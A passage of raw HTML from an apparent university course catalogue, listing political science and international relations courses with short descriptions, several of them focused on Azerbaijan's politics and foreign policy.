information and use it for public development.</p></td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\">\r\n  <br><p>PSIR202</p><p><br></p><br>\r\n  </td>\r\n  <td width=\"126\" style=\"\" width:94.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p style=\"text-align: center;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">Contemporary social history of Political Thought</p>\r\n  </td>\r\n  <td width=\"507\" style=\"\" width:380.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"text-align: justify;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal;background:white\"\"=\"\">The course aims to discuss some of the fundamental ideas and concepts in modern and contemporary social and political thought. It also traces the evolution of social and political thought in Azerbaijan, the emergence of political science as a discipline, and analyzes the state of political science in Azerbaijan.</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">PSIR240</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><br></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><br></p>\r\n  </td>\r\n  <td width=\"126\" style=\"\" width:94.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:101.2pt\"\"=\"\">\r\n  <p style=\"text-align: center;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">Comparative Politics</p><p style=\"text-align: center;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><br></p>\r\n  </td>\r\n  <td width=\"507\" style=\"\" width:380.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:101.2pt\";vertical-align:top\"=\"\">\r\n  <p style=\"text-align: justify;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"=\"\">This course provides a comparative analysis of democratic and non-democratic political systems taking a comprehensive view of institutional, economic and cultural variables and aims to introduce students to fundamentals of political systems and impart the necessary knowledge and skills to understand, criticize, and apply various conceptual approaches.</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\">\r\n  <p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\">PSIR250</p><p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\"><br></p>\r\n  </td>\r\n  <td width=\"126\" style=\"\" width:94.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p style=\"text-align: center;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">History of International Relations</p>\r\n  </td>\r\n  <td width=\"507\" style=\"\" width:380.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"text-align: justify;\" margin-top:0in;margin-right:-.75pt;margin-bottom:.0001pt;margin-left:0in;text-align:justify;line-height:normal\"\"=\"\">This course is designed for the undergraduate students. The course addresses the main aspects of international relations during ancient times, middle ages, modern and contemporary historical periods.</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\">\r\n  <p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\">PSIR251</p><p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\"><br></p>\r\n  </td>\r\n  <td width=\"126\" style=\"\" width:94.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p style=\"text-align: center;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">International Organizations</p>\r\n  </td>\r\n  <td width=\"507\" style=\"\" width:380.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"text-align: justify;\" margin-top:0in;margin-right:-.75pt;margin-bottom:.0001pt;margin-left:0in;text-align:justify;line-height:normal\"\"=\"\">This course will explore and analyze a number of approaches to understanding international organizations and their role in modern security architecture.</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\">\r\n  <p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\">PSIR252</p><p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\"><br></p>\r\n  </td>\r\n  <td width=\"126\" style=\"\" width:94.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p style=\"text-align: center;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">Culture and Art of Europe</p>\r\n  </td>\r\n  <td width=\"507\" style=\"\" width:380.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"text-align: justify;\" margin-top:0in;margin-right:-.75pt;margin-bottom:.0001pt;margin-left:0in;text-align:justify;line-height:normal\"\"=\"\">This course is designed for undergraduate students who will be introduced to the history of cultural and artistic movements in Europe from ancient periods till modern times. It focuses primarily on artistic, literary and intellectual movements existed in Europe during these periods.</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\">\r\n  <p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\">PSIR300</p><p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\"><br></p><p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\"><br></p>\r\n  </td>\r\n  <td width=\"126\" style=\"\" width:94.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p style=\"text-align: center;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">Theories of International Relations</p>\r\n  </td>\r\n  <td width=\"507\" style=\"\" width:380.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"text-align: justify;\" margin-top:0in;margin-right:-.75pt;margin-bottom:.0001pt;margin-left:0in;text-align:justify;line-height:normal\"\"=\"\">This course provides an introduction to some of the major theoretical perspectives on the interaction of states and people in international relations and offers a comprehensive view of the dynamics of conflict and cooperation in international relations. The main objective of this course is to equip students with the conceptual skills necessary for an informed analysis of international affairs.</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\">\r\n  <p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\">PSIR301</p><p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\"><br></p><p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\"><br></p><p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\"><br></p>\r\n  </td>\r\n  <td width=\"126\" style=\"\" width:94.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p style=\"text-align: center;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">Modern Diplomacy</p>\r\n  </td>\r\n  <td width=\"507\" style=\"\" width:380.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"text-align: justify;\" margin-top:0in;margin-right:-.75pt;margin-bottom:.0001pt;margin-left:0in;text-align:justify;line-height:normal\"\"=\"\">Aimed at giving the students the general knowledge about tasks, principles, theoretical and practical aspects of modern diplomacy, Modern Diplomacy course addresses such questions as nature of diplomacy; foreign policy organization, structure and assessments; diplomatic correspondence; diplomatic styles and methods; dynamics of negotiations; interrelations of diplomacy with trade and security; analysis of international treaties and agreements.&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\">\r\n  <p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\">PSIR303</p><p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\"><br></p><p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\"><br></p><p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\"><br></p>\r\n  </td>\r\n  <td width=\"126\" style=\"\" width:94.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p style=\"text-align: center;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">Economics</p>\r\n  </td>\r\n  <td width=\"507\" style=\"\" width:380.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"text-align: justify;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal;background:white\"\"=\"\">This course introduces the basics of economic theory and provides the students with the skills needed to analyze economic developments in Azerbaijan and other countries. Among the topics covered by the course are demand and supply, the impact of government policies, macroeconomic indicators, and macroeconomic problems such as unemployment and inflation. The course offers an overview of the causes of unemployment as well as its consequences.</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\">\r\n  <p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\">PSIR304</p><p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\"><br></p><p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\"><br></p><p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\"><br></p><p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\"><br></p>\r\n  </td>\r\n  <td width=\"126\" style=\"\" width:94.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p style=\"text-align: center;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">Public International Law</p>\r\n  </td>\r\n  <td width=\"507\" style=\"\" width:380.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"text-align: justify;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">This course is intended to introduce students to the basic concepts and problems of public international law and the international legal system.&nbsp;The course will cover major topics in this field such as the sources and subjects of international law, the origins and nature of the international legal system, the jurisdiction of states, the relationship between states and territory, state jurisdiction, jurisdictional immunities of states, self-determination of peoples international law and the use of force, the relationship between international law and the internal law of states, the international law of human rights and international criminal law.&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">PSIR340</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><br></p>\r\n  </td>\r\n  <td width=\"126\" style=\"\" width:94.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:60.6pt\"\"=\"\">\r\n  <p style=\"text-align: center;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">Foreign Policy of Azerbaijan</p>\r\n  </td>\r\n  <td width=\"507\" style=\"\" width:380.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:60.6pt\";vertical-align:top\"=\"\">\r\n  <p style=\"text-align: justify;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">This course provides an introduction to basic foreign policy and diplomacy principles and offers the detailed discussion of Azerbaijan\'s foreign policy issues. The course provides knowledge, skills and analytical tools for an informed analysis of external relations of the Republic of Azerbaijan.</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\">\r\n  <p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\">PSIR350</p><p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\"><br></p><p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\"><br></p>\r\n  </td>\r\n  <td width=\"126\" style=\"\" width:94.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p style=\"text-align: center;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">Political Sociology</p>\r\n  </td>\r\n  <td width=\"507\" style=\"\" width:380.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"text-align: justify;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">This course studies the relations between state, society, and citizens. Students will be introduced to the methods, categories, and concepts of political sociology, learn about the characteristics of sociological analysis of political life as well as the subjects and forms of political life. They will also become familiarized with social policy and social work and particularly with successes and difficulties of state-led social policy in Azerbaijan.</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\">\r\n  <p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\">PSIR351</p><p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\"><br></p><p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\"><br></p><p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\"><br></p>\r\n  </td>\r\n  <td width=\"126\" style=\"\" width:94.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p style=\"text-align: center;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">Foreign Policy of Azerbaijan</p>\r\n  </td>\r\n  <td width=\"507\" style=\"\" width:380.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"text-align: justify;\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;text-align:justify;line-height:normal\"\"=\"\">Azerbaijan as the strongest state of the South Caucasus region leaped into the international arena by means of building extensive cooperation and integration by the dissolution of the Soviet Union in 1991. The aim of the course is to provide comprehensive understanding/evaluate the foreign policy of Azerbaijan since its independence in 1991 until today and examine its foreign policy course toward regional and global powers, such as Russia, Iran, Turkey, the USA, and Israel.</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\">\r\n  <p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\">PSIR352</p><p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\"><br></p>\r\n  </td>\r\n  <td width=\"126\" style=\"\" width:94.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p style=\"text-align: center;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">International Political Economy</p>\r\n  </td>\r\n  <td width=\"507\" style=\"\" width:380.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"text-align: justify;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">This course provides an investigation on how governmental issues affect the global economy and how world economy impacts politics. Students will be offered a wide range of readings on the theoretical approaches to IPE throughout the course.</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\">\r\n  <p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\">PSIR355</p><p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\"><br></p>\r\n  </td>\r\n  <td width=\"126\" style=\"\" width:94.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p style=\"text-align: center;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">Energy Diplomacy in Contemporary IR</p>\r\n  </td>\r\n  <td width=\"507\" style=\"\" width:380.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"text-align: justify;\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;text-align:justify;line-height:normal\"\"=\"\">This course aims to give insights into global oil and gas markets and provide a comprehensive knowledge about the key elements of international energy relations. Moreover, it provides a vision for assessing future trends of energy diplomacy, focusing on new trends such as alternative and nuclear energy.</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\">\r\n  <p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\">PSIR356</p><p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\"><br></p><p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\"><br></p><p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\"><br></p><p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\"><br></p>\r\n  </td>\r\n  <td width=\"126\" style=\"\" width:94.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p style=\"text-align: center;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">Conflictology</p>\r\n  </td>\r\n  <td width=\"507\" style=\"\" width:380.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"text-align: justify;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">This course discusses the theories, history, and essential concepts of conflict studies at early sessions before introducing major international conflicts and wars from around the world. WWI, WWII, The Korean War, The Vietnam War, the Bosnian War, the wars between India &amp; Pakistan, the wars between Israel and Arab countries, the War in Afghanistan &amp; the American-Iraqi War, will be thoroughly studied in respective sessions throughout the semester. Regional conflicts such as Nagorno-Karabakh, South Ossetia, and Abkhazia conflicts will also be discussed from a perspective of power politics in the South Caucasus.</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">PSIR358</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><br></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><br></p>\r\n  </td>\r\n  <td width=\"126\" style=\"\" width:94.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:1.1in\"\"=\"\">\r\n  <p style=\"text-align: center;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">Democracy: Theory and Practice</p>\r\n  </td>\r\n  <td width=\"507\" style=\"\" width:380.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:1.1in\";vertical-align:top\"=\"\">\r\n  <p style=\"text-align: justify;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">This course familiarizes students with various theories that aim to provide an understanding of democratic governance and explain transitions from authoritarianism to democracy.&nbsp; It also seeks to equip students with the knowledge of the development of democratic institutions around the world. Major dimensions of democratic governance, as well as various challenges to democratic consolidation, will also be examined&nbsp;within the course.</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\"><p>PSIR359</p><p><br></p><p><br></p><p><br></p><p><br></p></td>\r\n  <td width=\"126\" style=\"\" width:94.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:1.8in\"\"=\"\"><p style=\"text-align:center\">History of Parliamentarism</p></td>\r\n  <td width=\"507\" style=\"\" width:380.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:1.8in\";vertical-align:top\"=\"\">\r\n  <p style=\"text-align:justify\">This course covers historical, political and social aspects of the development of parliamentarism, including first cradles of parliamentarism from the ancient period. It touches upon the organizational structure of modern parliaments, their role, and place in the system of national public authorities. The aim of this course is to study the essence of parliamentarism itself and various models of parliamentary systems in the world. The course also examines the role of inter-parliamentary cooperation in the contemporary system of international relations and analyzes parliamentary diplomacy, as a comparatively new trend complementing traditional diplomacy.</p></td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">PSIR370</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><br></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><br></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><br></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><br></p>\r\n  </td>\r\n  <td width=\"126\" style=\"text-align: justify;\" width:94.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:119.1pt\"\"=\"\">\r\n  <p style=\"text-align: center;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">NATO and Security Studies</p>\r\n  </td>\r\n  <td width=\"507\" style=\"\" width:380.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:119.1pt\";vertical-align:top\"=\"\">\r\n  <p style=\"text-align: justify;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">This module is divided into 2 main parts: 1) the first part provides the analysis of historical events starting from the end of the WWII until the collapse of the Soviet Union. Cold War, containment, proxy wars, and the new-world-order following the end of the short century are the topics of discussion of this part; 2) the second part focuses on the structure and fundamental tasks of the NATO. The role of the NATO in new-world order - enlargement, fight against the terrorism, cybersecurity, and the scramble for power with Russia and other major and regional powers - is going to be handled.</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\"><p>PSIR400<br></p><p><br></p><p><br></p><p><br></p><p><br></p></td>\r\n  <td width=\"126\" style=\"text-align: center;\" width:94.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:141.6pt\"\"=\"\"><p>Research Methods in PS</p></td>\r\n  <td width=\"507\" style=\"text-align: justify;\" width:380.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:141.6pt\";vertical-align:top\"=\"\"><p>This course is designed for undergraduate students. It will introduce students to basic concepts, methods, and techniques of scientific research. The course starts with the introduction of basic knowledge on science and empirical research, which will help students to familiarize themselves with the cornerstones of empirical research, such as hypothesis, variables, and concepts. In this part, students will also learn about the methods of specifying research question and building theory in political science research. Further, students will be presented to core research concepts including research design, measurement of hypothesis, qualitative and quantitative methods, data collection and analysis methods, etc.</p></td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\">\r\n  <p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\">PSIR401</p><p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\"><br></p><p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\"><br></p><p style=\"\" margin-top:0in;margin-right:.25in;margin-bottom:.0001pt;margin-left:0in;line-height:normal\"\"=\"\"><br></p>\r\n  </td>\r\n  <td width=\"126\" style=\"\" width:94.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 